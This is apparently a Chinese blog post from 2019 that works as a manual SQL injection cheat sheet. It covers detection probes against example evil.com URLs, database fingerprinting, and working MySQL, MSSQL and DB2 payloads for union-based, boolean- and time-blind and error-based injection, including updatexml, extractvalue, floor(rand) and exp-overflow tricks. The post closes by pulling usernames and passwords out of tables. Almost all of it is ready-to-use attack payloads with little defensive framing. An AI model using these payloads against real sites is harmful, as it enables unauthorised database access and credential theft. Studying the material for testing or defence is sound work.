SQL手工注入

快速判断是否存在SQL注入

不能局限于这几种,要根据网站功能对应的SQL语句进行变化

  1. 数字型注入

    http://www.evil.com/search?id=1 and 1=1 	页面返回的结果与id=1时一样
    http://www.evil.com/search?id=1 and 1=2 	页面返回结果为空或报错
    
  2. 字符型注入

    http://www.evil.com/search?id=1'			   页面返回出错或无返回结果
    http://www.evil.com/search?id=1' and '1'='1 	页面返回结果与id=1时一样
    http://www.evil.com/search?id=1' and '1'='2 	页面返回结果为空或报错
    
  3. 搜索型注入

    http://www.evil.com/search?id=1%' and 1=1 and '%'='
    

判断数据库类型

  1. 通过特定函数判断数据库类型

    函数描述 MYSQL MSSQL ORACLE DB2
    返回长度值 len() len() length() length()
    返回数据库版本信息 @@version,version()>0 @@version>0
    提取字符串中的字符 substring/substr substring substr substr
  2. 通过特殊符号判断

    MYSQL注释符:# -- /*....*/
    MSSQL注释符:-- /*....*/
    ORACLE注释符:-- /*....*/
    DB2注释符:-- /*.....*/
    
    MYSQL MSSQL ORACLE
    ‘1’+‘1’=‘11’ Y Y
    CONCAT(‘1’,‘1’)=‘11’ Y Y
    ‘1’||‘1’=‘11’ Y
  3. 通过特定数据库判断

    and (select count(*) from master..sysobject)>0	页面返回正常说明是MSSQL
    and (select count(*) from information_schema.tables)>0	页面返回正常说明是MYSQL
    and (select count(*) from sys.user_tables)>0	页面返回正常说明是ORACLE
    and (select count(versionnumber) from sysibm.sysversions)>0 页面返回正常说明是DB2
    
  4. 根据错误信息判断

    ORACLE:
    	ORA-01756:quoted string not properly terminated
    	ORA-00933:SQLcommand not properly ended
    MSSQL:
    	Line 1:Incorrect syntax near ‘foo
    	Msg 105,level 15,state 1,Line 1
    	Unclose quotation mark before the character string ‘foo
    MYSQL:
    	you have an error in your SQL syntax,check the manual that corresponds to you mysql server version for the right stntax to use near ‘’foo’ at line x
    DB2:
    	-534 21502 可改变主健列值的更新语句不能在同一时刻用于更新多行,详见https://www.jianshu.com/p/9aab7408aba5
    

MYSQL手工注入

  1. 获取一些当前数据库的简要信息

    数据库版本:and ascii(substring(@@version,1,1))>0

    当前用户:and ord(mid(user(),1,1))=114

    当前数据库名:

    猜数据库名的长度-->and length(database())>97#
    猜数据库名称------>and ascii(substr(databse(),1,1))>97#
    
  2. 获取数据库元数据

    information_schema是MYSQL中独有的数据库,其中保存了所有数据库信息
    如数据库名、数据库中的表、数据表中的数据类型、数据库的访问权限
    简而言之,当前这台MYSQL服务器中的所有数据库元信息都存储在information_schema中
    
    数据表名 列名 作用
    schemata schema_name 记录所有数据库的名字
    tables table_schema 记录所有数据库的名字
    tables table_name 记录所有数据表名字
    columns table_schema 记录所有数据库的名字
    columns table_name 记录所有数据库的表的名字
    columns column_name 记录所有数据库的表的列的名字
    • 获取所有数据库名称:select schema_name from schemata
    • 根据上述获取的数据库名称获取该数据库中的数据表名称:select table_name from tables where table_schema="数据库名称"
    • 根据上述获取的数据库名、数据表名获取数据库中的列名:select column_name from columns where table_schema="数据库名" and table_name="数据表名"
    • 至此,所有数据库及数据表中的元数据都获取到了
  3. 布尔盲注/时间盲注

    • 数据库相关信息(库的数量、库的名称)

      获取数据库的数量:and select count(schema_name) from information_schema.schemata--

      获取数据库名称:and ascii(substr(database(),1,1))>97--

      and ascii(substr((select schema_name from information_schema.schema limit 0,1),1,1))>97--

      获取数据表的数量:and (select count(table_name) from information_schema.tables where table_schema=database())=1--

      获取数据表的长度:and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>3--

      获取数据表的名称:and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)>97--

      获取字段的数量:and (select count(column_name) from information.schema.columns where table_name="数据表名称")=2--

      获取字段的长度:and length(substr((select column_name from information_schema.columns where table_name='数据表名称'),1))>3--

      获取字段的名称:and ascii(substr((select table_name from information_schema.columns where table_name="数据表名称"),1,1))>97--

    • 数据表中的数据

      获取数据记录数量:and (select count(*) from 数据库名称.数据表名称)=1--

      获取表中的某列数据的长度:and length(substr((select 列名 from 数据库名.数据表名 limit 0,1),1))>3

      获取某条数据的具体信息:and ascii(substr((select 列名 from 数据库名.数据表名 limit 0,1),1,1))>97

    时间盲注与布尔盲注整体步骤基本一致,唯一不同在于所采用的SQL语句的方式,布尔盲注借助>=<三个符号作为依据进行判断,时间盲注主要依赖于IF语句,如and if(SQL语句,sleep(5),1)标识如果SQL语句执行成功,则整个查询语句都会延时查询5秒返回,否则直接返回结果

  4. 回显注入

    盲注依然可用

    • 判断当前页面的字段数

      通过union注入:and 1=1 union select 1,2

      通过order by注入:order by 2-->直到返回结果异常

    • 获取数据库名

      and 1=2 union select 1,schema_name from information_schema.schemata limit 1,2

    • 获取数据表名

      and 1=2 union select 1,table_name from information_schema.tables where table_schema="数据库名称" limit 0,1

      and 1=2 union select 1,group_concat(distinct table_name) from information_schema.tables where table_schema="数据库名称" limit 0,1

    • 获取列名

      and 1=2 union select 1,column_name from information_schema.schemata where table_name="数据表名称" limit 0,1

      and 1=2 union select 1,group_concat(distinct column_name) from information_schema.columns where table_schema="数据库名称"

    • 获取数据

      and 1=2 union select 字段名1,字段名2 from 表名1 limit 0,1

  5. 报错注入

    报错注入就是利用数据库的某些机制,人为地制造错误条件,并从错误信息中获取查询的结果,报错注入通常用于在联合查询受限且能返回错误信息的情况下

    • 整形溢出

      Type Storage Minimum Value Maximum Value
      (Bytes) (Signed/Unsigned) (Signed/Unsigned)
      TINYINT 1 -128 127
      0 255
      SMALLINT 2 -32768 32767
      0 65535
      MEDIUMINT 3 -8388608 8388607
      0 16777215
      INT 4 -2147483648 2147483647
      0 4294967295
      BIGINT 8 -9223372036854775808 9223372036854775807
      0 18446744073709551615
      # 基于整数溢出的报错
      mysql> select ~0;
      +----------------------+
      | ~0                   |
      +----------------------+
      | 18446744073709551615 |
      +----------------------+
      1 row in set (0.00 sec)
      
      mysql> select ~0+1;
      ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(~(0) + 1)'
      # 基于exp函数溢出的报错
      mysql> select exp(709);
      +-----------------------+
      | exp(709)              |
      +-----------------------+
      | 8.218407461554972e307 |
      +-----------------------+
      1 row in set (0.00 sec)
      
      mysql> select exp(710);
      ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'
      

      两者进行组合

      mysql> select exp(~(select*from(select user())x));
      ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'
      

      该类报错机制依赖于MYSQL的版本信息,不同的MYSQL可能有不一样的表现

    • XPATH语法错误

      MYSQL提供两个XML查询及修改的函数,即extractvalue和updatexml,extractvalue负责按照xpath语法查询节点内容,updatexml负责修改查询到的内容

      两个函数的第二个参数都必须是符合xpath语法的字符串,若不满足,就会报错,且在报错信息中返回查询的结果

      mysql> select updatexml(1,concat(0x7e,(select @@version),0x7e),1);
      ERROR 1105 (HY000): XPATH syntax error: '~5.7.17~'
      mysql> select extractvalue(1,concat(0x7e,(select @@version),0x7e));
      ERROR 1105 (HY000): XPATH syntax error: '~5.7.17~'
      
    • 主键重复

      原理在于利用count()、group by函数在遇到rand()产生的重复值时报错的思路

      • floor

        只返回整数部分,小数部分舍弃

      mysql> select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x;
      ERROR 1062 (23000): Duplicate entry '5.7.171' for key '<group_key>'
      
    • 列名重复

      主要利用NAME_CONST函数,NAME_CONST要求必须是常量

      mysql> select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x;
      ERROR 1060 (42S21): Duplicate column name '5.7.17'
      
    • 几何函数

      # geometrycollection()
      select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));
      
      # multipoint()
      select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));
      
      # polygon()
      select * from test where id=1 and polygon((select * from(select * from(select user())a)b));
      
      # multipolygon()
      select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));
      
      # linestring()
      select * from test where id=1 and linestring((select * from(select * from(select user())a)b));
      
      # multilinestring()
      select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));
      

MSSQL手工注入

  1. 获取数据库的简要信息

    • 获取数据库版本信息

      and ascii(substring(@@version,1,1))>0

    • 获取数据库信息

      and ascii(substring(db_name(),1,1))>0

    • 获取当前用户

      and ascii(substring(user_name(),1,1))>0

    • 获取当前用户的权限

      and (select ISSRVROLEMEMBER('sysadmin'))>0---->dba权限

      and (select IS_MEMBER('db_owner'))>0---->数据库拥有者

      and (select IS_MEMBER('public'))>0---->public用户

  2. 获取数据库元数据

    master是MSSQL中独有的系统数据库,其中包含以下几个比较重要的数据表
    sysdatabases:
    	name:数据表示为数据库名称
    每个数据库中都会自带以下几个重要的数据表
    sysobjects:
    	name:数据表的名称
    	id:数据表的id
    syscolumns:
    	name:列名
    	id:数据表的id
    
  3. 盲注

    • 获取数据库名称

      and ascii(substring((select top 1 name from master..sysdatabases),1,1))>=97

      and ascii(substring((select top 1 name from master..sysdatabases where name not in ('数据库名称1','数据库名称2')),1,1))>=97

    • 获取数据表名称

      and ascii(substring((select top 1 name from 数据库名称..sysobjects where xtype='u'),1,1))>=97

      and ascii(substring((select top 1 name from 数据库名称..sysobjects where xtype='u' and name not in("表名1","表名2")),1,1))>=97

    • 获取列名

      and ascii(substring((select top 1 name from 数据库名称..syscolumns where id=(select id from 数据库名称..sysobjects where xtype='u' and name ="数据表名称")),1,1))>=90

      and ascii(substring((select top 1 name from 数据库名称..syscolumns where id=(select id from sysobjects where xtype='u' and name="数据表名称") and name not in("列名1","列名2")),1,1))>=97

    • 获取数据

      and ascii(substring((select top 1 列名 from 表名),1,1))>=97

DB2手工注入

主要利用了DB2的系统数据库sysibmsyscat

  1. 判断数据库类型

    所有的数据库对象(表和视图)都在sysibm中

    (select count(versionnumber) from sysibm.sysversions)>0

  2. 获取数据库版本信息

    select versionnumber from sysibm.sysversions

  3. 获取数据库用户名称

    select distinct owner from syscat.tables where tabschema=current schema

  4. 获取数据库名称

    db2中称之为对象,syscat中记录了DB2中所有的表视图信息,sysibm和syscat中都存储了DB2所有的表视图

    sysibm.columns==>column_name(列名),data_type(列类型)

    syscat.columns==>colname(列名),typename(列类型)

    select distinct table_schema from sysibm.tables limit 0,1
    或者
    select distinct tabschema from syscat.tables limit 0,1
    

    获取当前数据库名称

    select db_name from table(snap_get_db('',-1))

    DB2也可以在不需要数据库名称的情况下获取数据库中的数据表

  5. 获取数据表名称

    select table_name from sysibm.tables where table_schema=current schema limit 0,1
    或者
    select tabname from syscat.tables where tabschema=current schema limit 0,1
    
  6. 获取数据字段名称

    表名table_name必须大写

    select column_name from sysibm.columns where table_schema=current schema and table_name='数据表名称' limit 0,1
    或者
    select colname from syscat.columns where tabschema=current schema and tabname='数据表名称' limit 0,1
    
  7. 获取所有数据

    select 字段名1,字段名2 from 表名

盲注

盲注主要采用二分法进行,所谓二分法就是值大于小于等于某个ASCII对应的十进制数字

  1. 判断数据库类型

    (select count(versionnumber) from sysibm.sysversions)>0

  2. 获取当前数据库的用户

    and ascii(substr((select distinct owner from syscat.tables where tabschema=current schema),1,1))>0

  3. 获取当前数据库名称

    DB2也可以不用获取当前数据库名称

    and ascii(substr(select db_name from table(snap_get_db('',-1)),1,1))>0

  4. 获取当前数据库中数据表名

    and ascii(substr((select tabname from syscat.tables where tabschema=current schema limit 0,1),1,1))>0

  5. 获取当前数据库中数据字段名称

    假设上述步骤获取完整的数据表名为users,获取方式二选一

    and ascii(substr((select colname from syscat.columns where tabschema=current schema and tabname='test' limit 0,1),1,1))>0

  6. 获取所有数据

    假设上述步骤成功获取表users中字段名有id,username,password

    and ascii(substr((select username from users limit 0,1),1,1))>0

posted @ 2019-04-25 12:28  JerryLocker  阅读(513)  评论(0编辑  收藏  举报